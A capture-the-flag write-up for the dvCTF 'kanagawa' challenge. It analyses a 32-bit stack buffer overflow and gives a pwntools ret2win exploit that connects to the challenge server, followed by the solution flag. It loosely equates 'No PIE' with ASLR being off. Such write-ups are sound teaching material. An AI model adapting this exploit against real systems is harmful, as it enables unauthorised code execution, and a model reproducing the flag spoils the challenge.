Kanagawa

Solution

We get executable file named kanagawa. After quickly loading it in favorite disassembler and taking a quick glance at the main function, we can assume that it’s a typical x86 buffer overflow. Let’s make sure there’s nothing weird going on with the binary by using checksec on it: $checksec –file=kanagawa

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   75) Symbols      No    0        2        kanagawa

It tells us that ASLR is disabled and there aren’t any other exploit mitigations enabled as well (except NX, but it won’t disturb us).

Let’s go back to disassembler. Buffer size in first fgets call is 45 (44, actually, because last byte is null terminator). We can also tell that we need exactly 40 bytes of padding + 4 bytes of return address to jump to. But where should we jump? Quick look at function list reveals one named recovery_mode. It executes system(“cat ./flag”), exactly what we need! Its address is 0x804851b (no ASLR, remember?).

I used an excellent framework called pwntools to get working exploit. Here is the code:

from pwn import *

context.update(arch='i386', os='linux')
#p = process('kanagawa')
p = remote('challs.dvc.tf', 4444)

payload = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += p32(0x804851b)

p.sendline(payload)
p.interactive()

Flag

dvCTF{0v3rfl0w_tsun4m1}

Credits

• Writeup by everl0stz
• Solved by everl0stz
• WaletSec 2021

License

CC BY 4.0 WaletSec + everl0stz